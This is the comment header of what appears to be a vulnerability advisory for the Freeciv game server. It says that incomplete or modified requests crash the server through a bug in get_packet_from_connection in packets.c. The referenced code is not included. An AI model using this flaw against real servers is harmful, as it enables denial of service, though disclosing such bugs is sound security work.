# Vendor: http://www.freeciv.org/
# Advisory: Nico Spicher [ http://triplex.it-helpnet.de/ ]
# There is a vulnerability in the handling of incoming data. If the request
# is uncomplete or modified, the server crashes because of a bug in the
# get_packet_from_connection function in packets.c. Look at the code below
# for more information.
